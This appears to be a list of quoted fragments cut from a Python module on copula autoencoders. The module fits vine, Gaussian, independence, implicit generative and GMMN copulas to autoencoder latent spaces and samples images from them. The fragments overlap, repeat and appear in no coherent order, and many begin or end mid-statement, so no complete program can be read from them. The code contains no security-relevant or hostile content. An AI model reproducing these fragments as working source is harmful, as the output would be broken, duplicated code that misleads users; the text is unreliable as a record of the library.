"self.copula.simulate(n_samples) def _sample_z(self, n_samples=1, u=None): # sample from latent space if u is", "path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2)", "latent space return self.encoder_model(x).numpy() def _decode(self, z): # decode latent space samples to", "{path}.\") def load_model(self, path): self.copula = pv.Vinecop(filename=path) print(\"Loaded vine copula model.\") class GaussianCopulaAutoEncoder(CopulaAutoEncoder):", "if isinstance(ae_model, str): ae_model = tf.keras.models.load_model(ae_model) self.encoder_model = ae_model.encoder self.decoder_model = ae_model.decoder self.z", "self.copula.load_model(path) print(\"Loaded saved copula model.\") class GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with GMMN", "self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist", "decoder_model self.decoder_model.compile() self.latent_dim = 25 def _sample_z(self, n_samples): # sample from latent space", "else: self.decoder_model = decoder_model self.decoder_model.compile() self.latent_dim = 25 def _sample_z(self, n_samples): # sample", "= mv_copulas.GaussianCopula() self.copula.fit(self.u) class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Independence Copula \"\"\"", "model.\") class GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Gaussian Copula \"\"\" def fit(self):", "plt.suptitle(title) plt.tight_layout() class IGCAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Implicit Generative Copula \"\"\"", "latent space if u is None: return self._ppf(self._sample_u(n_samples)) else: return self._ppf(u) def sample_images(self,", "model.\") class VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Vine Copula \"\"\" def fit(self,", "decode latent space samples to images return self.decoder_model(z).numpy() def _cdf(self, z): # get", "@author: <NAME>, Energy Information Networks & Systems @ TU Darmstadt \"\"\" import numpy", "image return self._decode(self._sample_z(n_samples)) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs is None:", "plt.imshow(np.squeeze(imgs[i]*255), vmin=0, vmax=255, cmap=cmap) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) plt.suptitle(title) plt.tight_layout() class IGCAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto", "ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) plt.suptitle(title) plt.tight_layout() class IGCAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Implicit Generative", "with Independence Copula \"\"\" def fit(self): pass def _sample_u(self, n_samples): return np.random.uniform(0.0, 1.0,", "vmax=255, cmap=cmap) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) plt.suptitle(title) plt.tight_layout() class IGCAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with", "Copula Auto Encoder with Independence Copula \"\"\" def fit(self): pass def _sample_u(self, n_samples):", "if u is None: return self._ppf(self._sample_u(n_samples)) else: return self._ppf(u) def sample_images(self, n_samples=1, z=None):", "__init__(self, x, ae_model): if isinstance(ae_model, str): ae_model = tf.keras.models.load_model(ae_model) self.encoder_model = ae_model.encoder self.decoder_model", "None: u_test = self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = GMMNCopula(dim_out = self.z.shape[1],", "\"\"\" import numpy as np import tensorflow as tf from models.igc import ImplicitGenerativeCopula,", "validation_split=0.0, validation_data=None): if validation_data is not None: u_test = self._cdf((self._encode(validation_data))) else: u_test =", "= self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs, batch_size=batch_size, validation_data=u_test, regen_noise=regen_noise,", "is not None: u_test = self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = GMMNCopula(dim_out", "as pv from models import mv_copulas import matplotlib.pyplot as plt class CopulaAutoEncoder(object): def", "ae_model.encoder self.decoder_model = ae_model.decoder self.z = self._encode(x) self.margins = self._fit_margins(self.z) self.u = self._cdf(self.z)", "load_copula_model(self, path, n_samples_train=200): self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved", "Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=1000000, validation_split=0.0, validation_data=None): if validation_data is", "interpolation margins = [] for i in range(z.shape[1]): margins.append(cdf_interpolator(z[:,i], kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return", "import cdf_interpolator import pyvinecopulib as pv from models import mv_copulas import matplotlib.pyplot as", "else: return self._ppf(u) def sample_images(self, n_samples=1, z=None): # sample an image if z", "n_samples_train=200): self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\")", "trunc_lvl=trunc_lvl, show_trace=show_trace) else: controls = pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace) self.copula = pv.Vinecop(data=self.u, controls=controls) def save_model(self,", "obs u = np.zeros_like(z) for i in range(u.shape[1]): u[:,i] = self.margins[i].cdf(z[:,i]) return u", "def load_copula_model(self, path, n_samples_train=200): self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded", "self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class", "def fit(self): self.copula = mv_copulas.GaussianCopula() self.copula.fit(self.u) class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with", "np.zeros_like(u) for i in range(z.shape[1]): z[:,i] = self.margins[i].ppf(u[:,i]) return z def _fit_margins(self, z):", "vmin=0, vmax=255, cmap=cmap) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) plt.suptitle(title) plt.tight_layout() class IGCAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder", "validation_data=None): if validation_data is not None: u_test = self._cdf((self._encode(validation_data))) else: u_test = None", "else: controls = pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace) self.copula = pv.Vinecop(data=self.u, controls=controls) def save_model(self, path): self.copula.to_json(path)", "inverse marginal cdf z = np.zeros_like(u) for i in range(z.shape[1]): z[:,i] = self.margins[i].ppf(u[:,i])", "families == \"nonparametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl, show_trace=show_trace) elif families == \"parametric\": controls", "pv.BicopFamily.student, pv.BicopFamily.clayton, pv.BicopFamily.gumbel, pv.BicopFamily.frank, pv.BicopFamily.joe, pv.BicopFamily.bb1, pv.BicopFamily.bb6, pv.BicopFamily.bb7, pv.BicopFamily.bb8], trunc_lvl=trunc_lvl, show_trace=show_trace) else: controls", "n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist =", "self.latent_dim = 25 def _sample_z(self, n_samples): # sample from latent space return np.random.normal(loc=0.0,", "n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist =", "sample_images(self, n_samples): # sample an image return self._decode(self._sample_z(n_samples)) def show_images(self, n=5, imgs=None, cmap=\"gray\",", "tf from models.igc import ImplicitGenerativeCopula, GMMNCopula from models.utils import cdf_interpolator import pyvinecopulib as", "families=\"nonparametric\", show_trace=False, trunc_lvl=18446744073709551615): if families == \"nonparametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl, show_trace=show_trace) elif", "<NAME>, Energy Information Networks & Systems @ TU Darmstadt \"\"\" import numpy as", "path, n_samples_train=200): self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula", "self.z = self._encode(x) self.margins = self._fit_margins(self.z) self.u = self._cdf(self.z) def _encode(self, x): #", "= pv.Vinecop(filename=path) print(\"Loaded vine copula model.\") class GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with", "self.copula.fit(self.u) class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Independence Copula \"\"\" def fit(self):", "size=(n_samples, self.u.shape[1])) class VariationalAutoEncoder(object): def __init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25): if isinstance(decoder_model, str): self.decoder_model =", "latent_dim=25): if isinstance(decoder_model, str): self.decoder_model = tf.keras.models.load_model(decoder_model) else: self.decoder_model = decoder_model self.decoder_model.compile() self.latent_dim", "1.0, size=(n_samples, self.u.shape[1])) class VariationalAutoEncoder(object): def __init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25): if isinstance(decoder_model, str): self.decoder_model", "self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist", "Darmstadt \"\"\" import numpy as np import tensorflow as tf from models.igc import", "from copula return self.copula.simulate(n_samples) def _sample_z(self, n_samples=1, u=None): # sample from latent space", "space if u is None: return self._ppf(self._sample_u(n_samples)) else: return self._ppf(u) def sample_images(self, n_samples=1,", "model to {path}.\") def load_model(self, path): self.copula = pv.Vinecop(filename=path) print(\"Loaded vine copula model.\")", "i in range(z.shape[1]): z[:,i] = self.margins[i].ppf(u[:,i]) return z def _fit_margins(self, z): # get", "class GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Gaussian Copula \"\"\" def fit(self): self.copula", "self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs,", "models.utils import cdf_interpolator import pyvinecopulib as pv from models import mv_copulas import matplotlib.pyplot", "validation_split=0.0) return hist def save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula =", "_sample_u(self, n_samples=1): # sample from copula return self.copula.simulate(n_samples) def _sample_z(self, n_samples=1, u=None): #", "def _sample_u(self, n_samples): return np.random.uniform(0.0, 1.0, size=(n_samples, self.u.shape[1])) class VariationalAutoEncoder(object): def __init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\",", "def _ppf(self, u): # inverse marginal cdf z = np.zeros_like(u) for i in", "Auto Encoder with Gaussian Copula \"\"\" def fit(self): self.copula = mv_copulas.GaussianCopula() self.copula.fit(self.u) class", "def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=1000000, validation_split=0.0, validation_data=None): if validation_data is not None:", "show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs is None: imgs = self.sample_images(n) plt.figure(figsize=(16,", "mv_copulas.GaussianCopula() self.copula.fit(self.u) class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Independence Copula \"\"\" def", "def load_model(self, path): self.copula = pv.Vinecop(filename=path) print(\"Loaded vine copula model.\") class GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\"", "self.margins[i].cdf(z[:,i]) return u def _ppf(self, u): # inverse marginal cdf z = np.zeros_like(u)", "== \"parametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian, pv.BicopFamily.student, pv.BicopFamily.clayton, pv.BicopFamily.gumbel, pv.BicopFamily.frank, pv.BicopFamily.joe, pv.BicopFamily.bb1, pv.BicopFamily.bb6,", "space return np.random.normal(loc=0.0, scale=1.0, size=(n_samples, self.latent_dim)) def _decode(self,z): return self.decoder_model.predict(z) def fit(self): pass", "ax.get_yaxis().set_visible(False) plt.suptitle(title) plt.tight_layout() class IGCAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Implicit Generative Copula", "u_test = None #self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = ImplicitGenerativeCopula(dim_out", "pv.BicopFamily.bb8], trunc_lvl=trunc_lvl, show_trace=show_trace) else: controls = pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace) self.copula = pv.Vinecop(data=self.u, controls=controls) def", "sample from latent space if u is None: return self._ppf(self._sample_u(n_samples)) else: return self._ppf(u)", "regen_noise=regen_noise, validation_split=0.0) return hist def save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula", "with Implicit Generative Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=1000000, validation_split=0.0, validation_data=None):", "saved copula model.\") class GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with GMMN Copula \"\"\"", "x, ae_model): if isinstance(ae_model, str): ae_model = tf.keras.models.load_model(ae_model) self.encoder_model = ae_model.encoder self.decoder_model =", "cmap=cmap) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) plt.suptitle(title) plt.tight_layout() class IGCAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Implicit", "import ImplicitGenerativeCopula, GMMNCopula from models.utils import cdf_interpolator import pyvinecopulib as pv from models", "not None: u_test = self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = ImplicitGenerativeCopula(dim_out =", "\"parametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian, pv.BicopFamily.student, pv.BicopFamily.clayton, pv.BicopFamily.gumbel, pv.BicopFamily.frank, pv.BicopFamily.joe, pv.BicopFamily.bb1, pv.BicopFamily.bb6, pv.BicopFamily.bb7,", "TU Darmstadt \"\"\" import numpy as np import tensorflow as tf from models.igc", "# sample from copula return self.copula.simulate(n_samples) def _sample_z(self, n_samples=1, u=None): # sample from", "marginal cdf z = np.zeros_like(u) for i in range(z.shape[1]): z[:,i] = self.margins[i].ppf(u[:,i]) return", "# get the marginal distributions via ecdf interpolation margins = [] for i", "n_samples=1, u=None): # sample from latent space if u is None: return self._ppf(self._sample_u(n_samples))", "self.u.shape[1])) class VariationalAutoEncoder(object): def __init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25): if isinstance(decoder_model, str): self.decoder_model = tf.keras.models.load_model(decoder_model)", "self.margins = self._fit_margins(self.z) self.u = self._cdf(self.z) def _encode(self, x): # encode images to", "model.\") class GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with GMMN Copula \"\"\" def fit(self,", "class VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Vine Copula \"\"\" def fit(self, families=\"nonparametric\",", "via ecdf interpolation margins = [] for i in range(z.shape[1]): margins.append(cdf_interpolator(z[:,i], kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0],", "\"nonparametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl, show_trace=show_trace) elif families == \"parametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep,", "vine copula model.\") class GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Gaussian Copula \"\"\"", "epochs=100, batch_size=100, n_samples_train=200, regen_noise=10000000, validation_split=0.0, validation_data=None): if validation_data is not None: u_test =", "pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace) self.copula = pv.Vinecop(data=self.u, controls=controls) def save_model(self, path): self.copula.to_json(path) print(f\"Saved vine copula", "saved copula model.\") class VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Vine Copula \"\"\"", "title=None): if imgs is None: imgs = self.sample_images(n) plt.figure(figsize=(16, 3)) for i in", "def _decode(self,z): return self.decoder_model.predict(z) def fit(self): pass def sample_images(self, n_samples): # sample an", "_ppf(self, u): # inverse marginal cdf z = np.zeros_like(u) for i in range(z.shape[1]):", "_sample_z(self, n_samples): # sample from latent space return np.random.normal(loc=0.0, scale=1.0, size=(n_samples, self.latent_dim)) def", "ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs, batch_size=batch_size, validation_data=u_test,", "i in range(u.shape[1]): u[:,i] = self.margins[i].cdf(z[:,i]) return u def _ppf(self, u): # inverse", "x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return margins def _sample_u(self, n_samples=1): # sample from copula return self.copula.simulate(n_samples)", "Encoder with GMMN Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=10000000, validation_split=0.0, validation_data=None):", "self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path)", "GMMN Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=10000000, validation_split=0.0, validation_data=None): if validation_data", "\"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=1000000, validation_split=0.0, validation_data=None): if validation_data is not", "z def _fit_margins(self, z): # get the marginal distributions via ecdf interpolation margins", "Copula \"\"\" def fit(self): pass def _sample_u(self, n_samples): return np.random.uniform(0.0, 1.0, size=(n_samples, self.u.shape[1]))", "pv.Vinecop(filename=path) print(\"Loaded vine copula model.\") class GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Gaussian", "for i in range(n): ax = plt.subplot(1, n, i+1) plt.imshow(np.squeeze(imgs[i]*255), vmin=0, vmax=255, cmap=cmap)", "the marginal distributions via ecdf interpolation margins = [] for i in range(z.shape[1]):", "self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class", "image if z is None: return self._decode(self._sample_z(n_samples)) else: return self._decode(z) def show_images(self, n=5,", "to images return self.decoder_model(z).numpy() def _cdf(self, z): # get pseudo obs u =", "validation_data is not None: u_test = self._cdf((self._encode(validation_data))) else: u_test = None #self.copula =", "Encoder with Vine Copula \"\"\" def fit(self, families=\"nonparametric\", show_trace=False, trunc_lvl=18446744073709551615): if families ==", "tf.keras.models.load_model(decoder_model) else: self.decoder_model = decoder_model self.decoder_model.compile() self.latent_dim = 25 def _sample_z(self, n_samples): #", "mv_copulas import matplotlib.pyplot as plt class CopulaAutoEncoder(object): def __init__(self, x, ae_model): if isinstance(ae_model,", "self._encode(x) self.margins = self._fit_margins(self.z) self.u = self._cdf(self.z) def _encode(self, x): # encode images", "self.margins[i].ppf(u[:,i]) return z def _fit_margins(self, z): # get the marginal distributions via ecdf", "self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs, batch_size=batch_size, validation_data=u_test, regen_noise=regen_noise, validation_split=0.0)", "= pv.Vinecop(data=self.u, controls=controls) def save_model(self, path): self.copula.to_json(path) print(f\"Saved vine copula model to {path}.\")", "def save_model(self, path): self.copula.to_json(path) print(f\"Saved vine copula model to {path}.\") def load_model(self, path):", "self.decoder_model.compile() self.latent_dim = 25 def _sample_z(self, n_samples): # sample from latent space return", "# get pseudo obs u = np.zeros_like(z) for i in range(u.shape[1]): u[:,i] =", "z = np.zeros_like(u) for i in range(z.shape[1]): z[:,i] = self.margins[i].ppf(u[:,i]) return z def", "def fit(self): pass def _sample_u(self, n_samples): return np.random.uniform(0.0, 1.0, size=(n_samples, self.u.shape[1])) class VariationalAutoEncoder(object):", "GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with GMMN Copula \"\"\" def fit(self, epochs=100, batch_size=100,", "ImplicitGenerativeCopula, GMMNCopula from models.utils import cdf_interpolator import pyvinecopulib as pv from models import", "from models.igc import ImplicitGenerativeCopula, GMMNCopula from models.utils import cdf_interpolator import pyvinecopulib as pv", "imgs=None, cmap=\"gray\", title=None): if imgs is None: imgs = self.sample_images(n) plt.figure(figsize=(16, 3)) for", "Information Networks & Systems @ TU Darmstadt \"\"\" import numpy as np import", "GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs, batch_size=batch_size, validation_data=u_test,", "def _fit_margins(self, z): # get the marginal distributions via ecdf interpolation margins =", "CopulaAutoEncoder(object): def __init__(self, x, ae_model): if isinstance(ae_model, str): ae_model = tf.keras.models.load_model(ae_model) self.encoder_model =", "_sample_z(self, n_samples=1, u=None): # sample from latent space if u is None: return", "self.copula.to_json(path) print(f\"Saved vine copula model to {path}.\") def load_model(self, path): self.copula = pv.Vinecop(filename=path)", "u=None): # sample from latent space if u is None: return self._ppf(self._sample_u(n_samples)) else:", "hist = self.copula.fit(self.u, epochs=epochs, batch_size=batch_size, validation_data=u_test, regen_noise=regen_noise, validation_split=0.0) return hist def save_copula_model(self, path):", "return u def _ppf(self, u): # inverse marginal cdf z = np.zeros_like(u) for", "import matplotlib.pyplot as plt class CopulaAutoEncoder(object): def __init__(self, x, ae_model): if isinstance(ae_model, str):", "ax = plt.subplot(1, n, i+1) plt.imshow(np.squeeze(imgs[i]*255), vmin=0, vmax=255, cmap=cmap) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) plt.suptitle(title) plt.tight_layout()", "self.copula = pv.Vinecop(data=self.u, controls=controls) def save_model(self, path): self.copula.to_json(path) print(f\"Saved vine copula model to", "print(f\"Saved vine copula model to {path}.\") def load_model(self, path): self.copula = pv.Vinecop(filename=path) print(\"Loaded", "n_samples): # sample an image return self._decode(self._sample_z(n_samples)) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None):", "\"\"\" def fit(self): self.copula = mv_copulas.GaussianCopula() self.copula.fit(self.u) class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder", "class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Independence Copula \"\"\" def fit(self): pass", "sample an image if z is None: return self._decode(self._sample_z(n_samples)) else: return self._decode(z) def", "is not None: u_test = self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = ImplicitGenerativeCopula(dim_out", "an image return self._decode(self._sample_z(n_samples)) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs is", "cdf z = np.zeros_like(u) for i in range(z.shape[1]): z[:,i] = self.margins[i].ppf(u[:,i]) return z", "\"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=10000000, validation_split=0.0, validation_data=None): if validation_data is not", "__init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25): if isinstance(decoder_model, str): self.decoder_model = tf.keras.models.load_model(decoder_model) else: self.decoder_model = decoder_model", "def __init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25): if isinstance(decoder_model, str): self.decoder_model = tf.keras.models.load_model(decoder_model) else: self.decoder_model =", "pass def sample_images(self, n_samples): # sample an image return self._decode(self._sample_z(n_samples)) def show_images(self, n=5,", "hist def save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = GMMNCopula(dim_out =", "= ae_model.encoder self.decoder_model = ae_model.decoder self.z = self._encode(x) self.margins = self._fit_margins(self.z) self.u =", "Copula \"\"\" def fit(self): self.copula = mv_copulas.GaussianCopula() self.copula.fit(self.u) class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto", "@ TU Darmstadt \"\"\" import numpy as np import tensorflow as tf from", "Copula Auto Encoder with Implicit Generative Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200,", "ae_model = tf.keras.models.load_model(ae_model) self.encoder_model = ae_model.encoder self.decoder_model = ae_model.decoder self.z = self._encode(x) self.margins", "size=(n_samples, self.latent_dim)) def _decode(self,z): return self.decoder_model.predict(z) def fit(self): pass def sample_images(self, n_samples): #", "None: return self._decode(self._sample_z(n_samples)) else: return self._decode(z) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if", "return self.encoder_model(x).numpy() def _decode(self, z): # decode latent space samples to images return", "imgs is None: imgs = self.sample_images(n) plt.figure(figsize=(16, 3)) for i in range(n): ax", "controls=controls) def save_model(self, path): self.copula.to_json(path) print(f\"Saved vine copula model to {path}.\") def load_model(self,", "_encode(self, x): # encode images to latent space return self.encoder_model(x).numpy() def _decode(self, z):", "np.random.normal(loc=0.0, scale=1.0, size=(n_samples, self.latent_dim)) def _decode(self,z): return self.decoder_model.predict(z) def fit(self): pass def sample_images(self,", "get the marginal distributions via ecdf interpolation margins = [] for i in", "z): # get the marginal distributions via ecdf interpolation margins = [] for", "= ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs, batch_size=batch_size,", "import pyvinecopulib as pv from models import mv_copulas import matplotlib.pyplot as plt class", "controls = pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace) self.copula = pv.Vinecop(data=self.u, controls=controls) def save_model(self, path): self.copula.to_json(path) print(f\"Saved", "Systems @ TU Darmstadt \"\"\" import numpy as np import tensorflow as tf", "self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto", "pv.BicopFamily.bb1, pv.BicopFamily.bb6, pv.BicopFamily.bb7, pv.BicopFamily.bb8], trunc_lvl=trunc_lvl, show_trace=show_trace) else: controls = pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace) self.copula =", "self.decoder_model = decoder_model self.decoder_model.compile() self.latent_dim = 25 def _sample_z(self, n_samples): # sample from", "x): # encode images to latent space return self.encoder_model(x).numpy() def _decode(self, z): #", "def fit(self): pass def sample_images(self, n_samples): # sample an image return self._decode(self._sample_z(n_samples)) def", "class IGCAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Implicit Generative Copula \"\"\" def fit(self,", "self.copula.load_model(path) print(\"Loaded saved copula model.\") class VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Vine", "Vine Copula \"\"\" def fit(self, families=\"nonparametric\", show_trace=False, trunc_lvl=18446744073709551615): if families == \"nonparametric\": controls", "def _sample_u(self, n_samples=1): # sample from copula return self.copula.simulate(n_samples) def _sample_z(self, n_samples=1, u=None):", "space return self.encoder_model(x).numpy() def _decode(self, z): # decode latent space samples to images", "\"\"\" Copula Auto Encoder with Independence Copula \"\"\" def fit(self): pass def _sample_u(self,", "encode images to latent space return self.encoder_model(x).numpy() def _decode(self, z): # decode latent", "3)) for i in range(n): ax = plt.subplot(1, n, i+1) plt.imshow(np.squeeze(imgs[i]*255), vmin=0, vmax=255,", "pv.BicopFamily.clayton, pv.BicopFamily.gumbel, pv.BicopFamily.frank, pv.BicopFamily.joe, pv.BicopFamily.bb1, pv.BicopFamily.bb6, pv.BicopFamily.bb7, pv.BicopFamily.bb8], trunc_lvl=trunc_lvl, show_trace=show_trace) else: controls =", "sample an image return self._decode(self._sample_z(n_samples)) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs", "return self._decode(self._sample_z(n_samples)) else: return self._decode(z) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs", "trunc_lvl=trunc_lvl, show_trace=show_trace) elif families == \"parametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian, pv.BicopFamily.student, pv.BicopFamily.clayton, pv.BicopFamily.gumbel,", "return margins def _sample_u(self, n_samples=1): # sample from copula return self.copula.simulate(n_samples) def _sample_z(self,", "= None #self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = ImplicitGenerativeCopula(dim_out =", "= self.copula.fit(self.u, epochs=epochs, batch_size=batch_size, validation_data=u_test, regen_noise=regen_noise, validation_split=0.0) return hist def save_copula_model(self, path): self.copula.save_model(path)", "\"\"\" @author: <NAME>, Energy Information Networks & Systems @ TU Darmstadt \"\"\" import", "from models import 